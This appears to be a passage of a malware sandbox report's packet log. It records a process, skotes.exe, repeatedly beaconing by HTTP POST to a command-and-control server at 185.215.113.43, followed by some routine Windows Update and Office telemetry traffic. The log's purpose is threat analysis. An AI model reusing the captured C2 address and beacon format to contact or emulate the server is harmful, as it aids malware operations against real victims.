Oct 7, 2024 13:32:17.430398941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50162	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:18.953279972 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:19.668437004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50163	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:21.299073935 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:22.001249075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50164	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:23.517884016 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:24.222026110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50165	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:25.861969948 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:26.558554888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50166	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:28.078994036 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:28.776083946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50167	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:30.407274961 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:31.300035954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 7, 2024 13:32:31.502461910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50168	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:32.828841925 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:33.535413980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50169	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:35.172894955 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:35.874196053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50170	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:37.393409014 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:38.085927963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50171	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:39.721120119 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:40.411130905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50172	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:41.925201893 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:42.633461952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50173	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:44.404650927 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:45.097409964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50174	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:46.626439095 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:47.430998087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50175	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:49.069792032 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:49.777656078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	50176	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:51.303581953 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:52.015101910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	50177	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:53.640681982 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:54.341779947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50178	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:55.869018078 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:56.563525915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50179	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:58.329598904 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:59.025099993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50180	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:33:00.548315048 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:33:01.266410112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KpNnL6yXzLT7T33&MD=H6NOomws HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 11:26:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 67a70370-c663-4341-9c51-5aedc98693ec MS-RequestId: 81eced3a-5a62-45a9-aaf1-9d224afc0618 MS-CV: 4Zgn+izqTEaqBSw0.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 11:26:30 GMT Connection: close Content-Length: 24490
2024-10-07 11:26:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 11:26:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49709	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:32 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
